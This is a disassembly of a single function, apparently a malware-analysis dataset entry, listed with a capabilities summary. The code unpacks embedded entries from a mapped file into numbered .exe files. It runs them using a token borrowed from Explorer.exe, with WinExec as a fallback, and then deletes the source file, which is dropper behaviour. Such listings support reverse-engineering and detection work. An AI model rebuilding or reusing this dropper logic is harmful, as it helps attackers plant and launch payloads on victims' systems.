Function at 0x402faf
Capabilities:
Create process on windows
Delete file
Get file size
Read file via mapping
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e8
and dword [ebp - 4], 0
and dword [ebp - 0x20], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x14], 0
mov dword [ebp - 0x138], 0x7055
or dword [ebp - 0x24], 0xffffffff
and dword [ebp - 0x10], 0
and dword [ebp - 0x18], 0
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 8], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xc], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x134], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0xffff
movzx eax, ax
shr eax, 8
and eax, 0xff
movzx eax, al
cmp eax, 2
jne 0x403022
lea eax, [ebp - 0x138]
mov dword [ebp - 4], eax
jmp 0x403029
mov dword [ebp - 4], 0x40bda8
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push 0x40d0e0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x403054
jmp 0x403315
call fcn.00402e7d
push str.Explorer.exe
call fcn.004010ee
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4030aa
and dword [ebp - 0x13c], 0
push dword [ebp - 0x1c]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x13c], eax
lea eax, [ebp - 0x18]
push eax
push 0xf01ff
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0x13c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 2
push 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 4
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
movsx eax, byte [eax]
test eax, eax
je 0x4032e6
and dword [ebp - 0x144], 0
and dword [ebp - 0x140], 0
mov eax, dword [ebp - 0x20]
add eax, 0x28
mov dword [ebp - 0x140], eax
jmp 0x40311b
mov eax, dword [ebp - 0x140]
add eax, 0x18
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
cmp dword [eax + 4], 0
jbe 0x40314c
push dword [ebp - 4]
mov eax, dword [ebp - 0x140]
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40314a
mov dword [ebp - 0x144], 1
jmp 0x40314c
jmp 0x40310c
cmp dword [ebp - 0x144], 1
jne 0x4032c3
and dword [ebp - 0x14c], 0
or dword [ebp - 0x148], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x130]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.0040184b
push eax
push 0x40d418
push str._s_d.exe
lea eax, [ebp - 0x130]
push eax
call dword [ebp - 8]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
lea eax, [ebp - 0x130]
push eax
call dword [ebp - 0x134]
mov dword [ebp - 0x148], eax
push 0
lea eax, [ebp - 0x14c]
push eax
mov eax, dword [ebp - 0x140]
push dword [eax + 4]
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax]
push ecx
push dword [ebp - 0x148]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x148]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x18], 0
je 0x4032b4
push 0x40
push 0
lea eax, [ebp - 0x1e8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x409640
push str.winsta0defa
push str._s_s
lea eax, [ebp - 0x1e8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x44
push 0
lea eax, [ebp - 0x1a8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x15c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x1a8], 0x44
lea eax, [ebp - 0x1e8]
mov dword [ebp - 0x1a0], eax
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x1a8]
push eax
push 0
push 0
push 0x4000000
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x4032b2
push dword [ebp - 0x158]
call dword [ebp - 0xc]
push dword [ebp - 0x15c]
call dword [ebp - 0xc]
jmp 0x4032c3
push 5
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax + 1]
mov dword [ebp - 4], eax
jmp 0x4030e2
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40d0e0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
leave
ret